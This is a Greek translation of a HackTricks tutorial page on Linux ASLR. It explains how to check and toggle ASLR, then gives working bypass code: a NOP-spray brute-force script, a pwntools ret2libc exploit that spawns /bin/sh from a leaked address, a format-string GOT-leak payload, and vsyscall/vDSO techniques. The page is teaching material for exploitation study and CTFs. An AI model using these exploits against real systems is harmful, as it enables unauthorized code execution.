hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md

310 lines
23 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ASLR
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
**Η τυχαία διάταξη του χώρου διευθύνσεων (ASLR)** είναι μια τεχνική ασφαλείας που χρησιμοποιείται σε λειτουργικά συστήματα για να **τυχαιοποιήσει τις διευθύνσεις μνήμης** που χρησιμοποιούνται από τις διεργασίες του συστήματος και τις εφαρμογές. Με αυτόν τον τρόπο, κάνει σημαντικά πιο δύσκολο για έναν εισβολέα να προβλέψει τη θέση συγκεκριμένων διεργασιών και δεδομένων, όπως το stack, το heap και οι βιβλιοθήκες, με αποτέλεσμα τη μείωση ορισμένων τύπων εκμετάλλευσης, ιδιαίτερα των buffer overflows.
### **Έλεγχος Κατάστασης ASLR**
Για να **ελέγξετε** την κατάσταση του ASLR σε ένα σύστημα Linux, μπορείτε να διαβάσετε την τιμή από το αρχείο **`/proc/sys/kernel/randomize_va_space`**. Η τιμή που αποθηκεύεται σε αυτό το αρχείο καθορίζει τον τύπο του ASLR που εφαρμόζεται:
* **0**: Χωρίς τυχαιοποίηση. Όλα είναι στατικά.
* **1**: Συντηρητική τυχαιοποίηση. Οι κοινόχρηστες βιβλιοθήκες, το stack, το mmap(), η σελίδα VDSO τυχαιοποιούνται.
* **2**: Πλήρης τυχαιοποίηση. Εκτός από τα στοιχεία που τυχαιοποιούνται από τη συντηρητική τυχαιοποίηση, η μνήμη που διαχειρίζεται μέσω της `brk()` τυχαιοποιείται.
Μπορείτε να ελέγξετε την κατάσταση του ASLR με την ακόλουθη εντολή:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Απενεργοποίηση του ASLR**
Για να **απενεργοποιήσετε** το ASLR, ορίζετε την τιμή του `/proc/sys/kernel/randomize_va_space` σε **0**. Η απενεργοποίηση του ASLR συνήθως δεν συνιστάται εκτός από περιπτώσεις ελέγχου ή αποσφαλμάτωσης. Ακολουθεί πως μπορείτε να το απενεργοποιήσετε:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Μπορείτε επίσης να απενεργοποιήσετε το ASLR για μια εκτέλεση με:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Ενεργοποίηση του ASLR**
Για να **ενεργοποιήσετε** το ASLR, μπορείτε να γράψετε μια τιμή **2** στο αρχείο `/proc/sys/kernel/randomize_va_space`. Αυτό απαιτεί συνήθως δικαιώματα ρίζας. Η ενεργοποίηση πλήρους τυχαίοποίησης μπορεί να γίνει με την ακόλουθη εντολή:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Μόνιμη Διατήρηση Μετά την Επανεκκίνηση**
Οι αλλαγές που γίνονται με τις εντολές `echo` είναι προσωρινές και θα επαναφερθούν μετά από επανεκκίνηση. Για να κάνετε την αλλαγή μόνιμη, πρέπει να επεξεργαστείτε το αρχείο `/etc/sysctl.conf` και να προσθέσετε ή να τροποποιήσετε την ακόλουθη γραμμή:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Μετά την επεξεργασία του `/etc/sysctl.conf`, εφαρμόστε τις αλλαγές με:
```bash
sudo sysctl -p
```
Αυτό θα εξασφαλίσει ότι οι ρυθμίσεις του ASLR παραμένουν στις επανεκκινήσεις.
## **Παρακάμψεις**
### Βίαιη εξαναγκαστική επίθεση 32bit
Το PaX διαιρεί τον χώρο διεύθυνσης της διεργασίας σε **3 ομάδες**:
* **Κώδικας και δεδομένα** (αρχικοποιημένα και μη αρχικοποιημένα): `.text`, `.data`, και `.bss` —> **16 bits** εντροπία στη μεταβλητή `delta_exec`. Αυτή η μεταβλητή αρχικοποιείται τυχαία με κάθε διεργασία και προστίθεται στις αρχικές διευθύνσεις.
* **Μνήμη** που εκχωρείται από την `mmap()` και **κοινές βιβλιοθήκες** —> **16 bits**, με το όνομα `delta_mmap`.
* **Η στοίβα** —> **24 bits**, αναφέρεται ως `delta_stack`. Ωστόσο, χρησιμοποιεί πραγματικά **11 bits** (από τον 10ο έως τον 20ό byte συμπεριλαμβανομένου), ευθυγραμμισμένα σε **16 bytes** —> Αυτό οδηγεί σε **524,288 πιθανές πραγματικές διευθύνσεις στοίβας**.
Τα προηγούμενα δεδομένα αφορούν συστήματα 32-bit και η μειωμένη τελική εντροπία καθιστά δυνατή την παράκαμψη του ASLR επαναλαμβάνοντας την εκτέλεση μέχρι η εκμετάλλευση να ολοκληρωθεί με επιτυχία.
#### Ιδέες για βίαιη εξαναγκαστική επίθεση:
* Αν έχετε ένα αρκετά μεγάλο υπερχείλισμα για να φιλοξενήσετε ένα **μεγάλο NOP sled πριν το shellcode**, θα μπορούσατε απλά να εξαναγκάσετε διευθύνσεις στη στοίβα μέχρι η ροή να **περάσει πάνω από κάποιο τμήμα του NOP sled**.
* Μια άλλη επιλογή γι' αυτό στην περίπτωση που το υπερχείλισμα δεν είναι τόσο μεγάλο και η εκμετάλλευση μπορεί να εκτελεστεί τοπικά είναι να **προστεθεί το NOP sled και το shellcode σε μεταβλητή περιβάλλοντος**.
* Αν η εκμετάλλευση είναι τοπική, μπορείτε να δοκιμάσετε να εξαναγκάσετε τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Εάν επιτεθείτε σε ένα απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **δοκιμάσετε με βία τη διεύθυνση της συνάρτησης `usleep` της `libc`**, περνώντας ως όρισμα τον αριθμό 10 (για παράδειγμα). Εάν σε κάποιο σημείο ο **διακομιστής καθυστερεί 10 δευτερόλεπτα περισσότερο για να ανταποκριθεί**, τότε βρήκατε τη διεύθυνση αυτής της συνάρτησης.
{% hint style="success" %}
Στα 64bit συστήματα η εντροπία είναι πολύ υψηλότερη και αυτό δεν θα πρέπει να είναι δυνατό.
{% endhint %}
### Εκμετάλλευση brute-forcing στο stack 64 bits
Είναι δυνατό να καταλάβετε ένα μεγάλο μέρος του stack με μεταβλητές περιβάλλοντος και στη συνέχεια να προσπαθήσετε να καταχωρήσετε το δυαδικό αρχείο εκατοντάδες/χιλιάδες φορές τοπικά για να το εκμεταλλευτείτε.\
Ο παρακάτω κώδικας δείχνει πώς είναι δυνατό να **επιλέξετε απλώς μια διεύθυνση στο stack** και κάθε **λίγες εκατοντάδες εκτελέσεις** αυτή η διεύθυνση θα περιέχει την **NOP εντολή**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
```python
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../.gitbook/assets/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Τοπικές Πληροφορίες (`/proc/[pid]/stat`)
Το αρχείο **`/proc/[pid]/stat`** ενός διεργασίας είναι πάντα προσβάσιμο από όλους και περιέχει ενδιαφέρουσες πληροφορίες όπως:
* **startcode** & **endcode**: Διευθύνσεις πάνω και κάτω από το **TEXT** του δυαδικού
* **startstack**: Η διεύθυνση της αρχής του **stack**
* **start\_data** & **end\_data**: Διευθύνσεις πάνω και κάτω από όπου βρίσκεται το **BSS**
* **kstkesp** & **kstkeip**: Τρέχουσες διευθύνσεις **ESP** και **EIP**
* **arg\_start** & **arg\_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι **παράμετροι γραμμής εντολής**
* **env\_start** & **env\_end**: Διευθύνσεις πάνω και κάτω από όπου βρίσκονται οι **μεταβλητές περιβάλλοντος**
Επομένως, αν ο επιτιθέμενος βρίσκεται στον ίδιο υπολογιστή με το δυαδικό που εκμεταλλεύεται και αυτό το δυαδικό δεν περιμένει την υπερχείλιση από ωμές παραμέτρους, αλλά από μια διαφορετική **είσοδο που μπορεί να δημιουργηθεί μετά την ανάγνωση αυτού του αρχείου**. Είναι δυνατό για έναν επιτιθέμενο να **αποκτήσει μερικές διευθύνσεις από αυτό το αρχείο και να κατασκευάσει μετατοπίσεις από αυτές για την εκμετάλλευση**.
{% hint style="success" %}
Για περισσότερες πληροφορίες σχετικά με αυτό το αρχείο ελέγξτε το [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) αναζητώντας το `/proc/pid/stat`
{% endhint %}
### Έχοντας μια διαρροή
* **Η πρόκληση είναι να δοθεί μια διαρροή**
Αν σας δίνεται μια διαρροή (εύκολες προκλήσεις CTF), μπορείτε να υπολογίσετε μετατοπίσεις από αυτήν (υποθέτοντας για παράδειγμα ότι γνωρίζετε την ακριβή έκδοση της βιβλιοθήκης libc που χρησιμοποιείται στο σύστημα που εκμεταλλεύεστε). Αυτή η εκμετάλλευση παράδειγματος εξάγεται από το [**παράδειγμα από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ελέγξτε αυτήν τη σελίδα για περισσότερες λεπτομέρειες):
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
* **ret2plt**
Εκμεταλλευόμενος ένα buffer overflow θα ήταν δυνατόν να εκμεταλλευτείτε ένα **ret2plt** για να εξαγάγετε μια διεύθυνση μιας συνάρτησης από την libc. Ελέγξτε:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
{% endcontent-ref %}
* **Format Strings Arbitrary Read**
Όπως και στο ret2plt, εάν έχετε ένα αυθαίρετο διάβασμα μέσω μιας ευπάθειας format strings είναι δυνατόν να εξάγετε τη διεύθυνση μιας **συνάρτησης της libc** από το GOT. Το ακόλουθο [**παράδειγμα είναι από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με την αυθαίρετη ανάγνωση μορφοποίησης σε:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}
### Ret2ret & Ret2pop
Προσπαθήστε να παρακάμψετε το ASLR καταχρώμενοι διευθύνσεις μέσα στη στοίβα:
{% content-ref url="ret2ret.md" %}
[ret2ret.md](ret2ret.md)
{% endcontent-ref %}
### vsyscall
Ο μηχανισμός **`vsyscall`** χρησιμεύει για τη βελτίωση της απόδοσης επιτρέποντας σε συγκεκριμένες κλήσεις συστήματος να εκτελούνται στον χώρο χρήστη, αν και ουσιαστικά ανήκουν στον πυρήνα. Το κρίσιμο πλεονέκτημα των **vsyscalls** βρίσκεται στις **σταθερές διευθύνσεις** τους, οι οποίες δεν υπόκεινται σε **ASLR** (Τυχαία Διάταξη Χώρου Διεύθυνσης). Αυτή η σταθερή φύση σημαίνει ότι οι επιτιθέμενοι δεν χρειάζεται να έχουν μια ευπάθεια διαρροής πληροφοριών για να προσδιορίσουν τις διευθύνσεις τους και να τις χρησιμοποιήσουν σε μια εκμετάλλευση.\
Ωστόσο, δεν θα βρεθούν πολύ ενδιαφέροντα gadgets εδώ (αν και, για παράδειγμα, είναι δυνατόν να ληφθεί ένα ισοδύναμο `ret;`)
(Το παρακάτω παράδειγμα και κώδικας είναι [**από αυτήν την ανάλυση**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
Για παράδειγμα, ένας επιτιθέμενος μπορεί να χρησιμοποιήσει τη διεύθυνση `0xffffffffff600800` μέσα σε μια εκμετάλλευση. Ενώ η προσπάθεια να μεταβείτε απευθείας σε μια εντολή `ret` μπορεί να οδηγήσει σε αστάθεια ή κολάσεις μετά την εκτέλεση μερικών gadgets, η μετάβαση στην αρχή μιας `syscall` που παρέχεται από την ενότητα **vsyscall** μπορεί να αποδειχθεί επιτυχής. Τοποθετώντας προσεκτικά ένα **ROP** gadget που οδηγεί την εκτέλεση σε αυτήν τη διεύθυνση **vsyscall**, ένας επιτιθέμενος μπορεί να επιτύχει την εκτέλεση κώδικα χωρίς την ανάγκη να παρακάμψει το **ASLR** για αυτό το τμήμα της εκμετάλλευσης.
```
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Σημειώστε λοιπόν πώς είναι δυνατόν να **παρακάμψετε το ASLR καταχρηστεύοντας το vdso** εάν το πυρήνας έχει μεταγλωττιστεί με το CONFIG\_COMPAT\_VDSO καθώς η διεύθυνση vdso δεν θα τυχαίοποιηθεί. Για περισσότερες πληροφορίες ελέγξτε:
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}